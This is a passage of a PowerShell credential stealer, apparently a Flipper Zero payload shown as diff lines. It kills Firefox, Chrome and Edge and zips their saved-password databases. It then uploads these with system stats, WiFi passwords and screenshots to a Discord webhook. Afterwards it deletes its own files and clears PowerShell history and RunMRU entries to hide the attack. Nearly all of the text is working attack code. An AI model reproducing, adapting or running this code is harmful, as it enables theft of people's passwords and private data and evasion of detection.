Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -AutoSize >> "$env:temp\stats-$namepc.txt"; + +# Get FireFox Password + #firefox ZIP + Add-Type -Assembly "System.IO.Compression.FileSystem" ; + #Kill Firefox + taskkill /IM firefox.exe /F + #search key4.db and logins.json + $key4 = Get-Childitem -Path $env:appdata\Mozilla\Firefox\Profiles\ -Include key4.db -Recurse -ErrorAction SilentlyContinue | % { $_.fullname } + $logins = Get-Childitem -Path $env:appdata\Mozilla\Firefox\Profiles\ -Include logins.json -Recurse -ErrorAction SilentlyContinue | % { $_.fullname } + #Compress firefox files where stored passwords + $compress = @{ + Path = "$key4", "$logins" + CompressionLevel = "Fastest" + DestinationPath = "$env:temp\Firefox-Password-$namepc.zip" + } + Compress-Archive @compress -Update +#Define zip to copy +$firefoxpassword = "$env:temp\Firefox-Password-$namepc.zip" + +#Get Chrome Password + #Chrome ZIP + Add-Type -Assembly "System.IO.Compression.FileSystem"; + #Kill Chrome + taskkill /IM chrome.exe /F + sleep 1 + #Compress chrome files where stored passwords + $compress = @{ + Path = "$env:appdata\..\local\Google\Chrome\User Data\Local State", "$env:appdata\..\local\Google\Chrome\User Data\default\Login Data", "$env:appdata\..\local\Google\Chrome\User Data\default\Preferences" + CompressionLevel = "Fastest" + DestinationPath = "$env:temp\Chrome-Password-$namepc.zip" + } + Compress-Archive @compress -Update + sleep 1 +#Define zip to copy +$chromepassword = "$env:temp\Chrome-Password-$namepc.zip" + +#Get Edge Password + #Edge ZIP + Add-Type -Assembly "System.IO.Compression.FileSystem" ; + #Kill Edge + taskkill /IM msedge.exe /F + sleep 1 + #Compress Edge files where stored passwords + $compress = @{ + Path = "$env:appdata\..\Local\Microsoft\Edge\User Data\Local State", "$env:appdata\..\Local\Microsoft\Edge\User Data\default\Login Data", "$env:appdata\..\Local\Microsoft\Edge\User Data\default\Preferences" + CompressionLevel = "Fastest" + DestinationPath = "$env:temp\Edge-Password-$namepc.zip" + } + Compress-Archive @compress -Update + sleep 1 +#Define zip to copy +$edgepassword = "$env:temp\Edge-Password-$namepc.zip" + +#UPLOAD +cd $env:temp +# Send Name Computer to discord + $Body=@{ content = "**Stats from Flipper-Zero on user:** $env:UserName, on pc: $env:computername"}; + Invoke-RestMethod -ContentType 'Application/Json' -Uri $url -Method Post -Body ($Body | ConvertTo-Json); +# Upload Stat + curl.exe -F "file1=@stats-$namepc.txt" $url; +# Upload wifi password + curl.exe -F "file2=@WIFI-$namepc.txt" $url; + +# Upload Webbroser Password Pwned + $Body=@{ content = "**Web Browsers Password Pwned**"}; + Invoke-RestMethod -ContentType 'Application/Json' -Uri $url -Method Post -Body ($Body | ConvertTo-Json); +# Upload firefox password + curl.exe -i -F file=@"$firefoxpassword" $url +# Upload chrome password + curl.exe -i -F file=@"$chromepassword" $url +# Upload Edge password + curl.exe -i -F file=@"$edgepassword" $url +# Upload screenshot + sleep 1 + $Body=@{ content = "**Screen Capture before attack start**"}; + Invoke-RestMethod -ContentType 'Application/Json' -Uri $url -Method Post -Body ($Body | ConvertTo-Json); + curl.exe -F "file2=@$screencapture.jpg" $url; + +# Remove Edge clear configuration + # Kill again and agan Edge after flipper zero get the token + taskkill /IM msedge.exe /F + Remove-Item $env:APPDATA\..\Local\Microsoft\Edge -Force -Recurse; + sleep 2 + Remove-Item $env:APPDATA\..\Local\Microsoft\Edge -Force -Recurse; + # Restore Edge configuration + mv $env:APPDATA\..\Local\Microsoft\ZZZZZZZ $env:APPDATA\..\Local\Microsoft\Edge + +#Delete all file +# Delete stat + Remove-Item "stats-$namepc.txt" -Force -Recurse; +# Delete wifi password + Remove-Item "WIFI-$namepc.txt" -Force -Recurse; +# Delete screenshot + Remove-Item $screencapture* -Force -Recurse; +# Delete token screencapture + Remove-Item $tokencapture* -Force -Recurse; +# Delete firefox password + Remove-Item $firefoxpassword -Force -Recurse; +# Delete Chrome password + Remove-Item $chromepassword -Force -Recurse; +# Delete Edge password + Remove-Item $edgepassword -Force -Recurse; +# Delete this script + Remove-Item $env:temp\e.ps1 -Force -Recurse; +# Delete screencapture script + Remove-Item $env:temp\d.ps1 -Force -Recurse; + +# Clear History powershell: + [Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory(); +# Clear run powershell: + Remove-Item HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU +exit;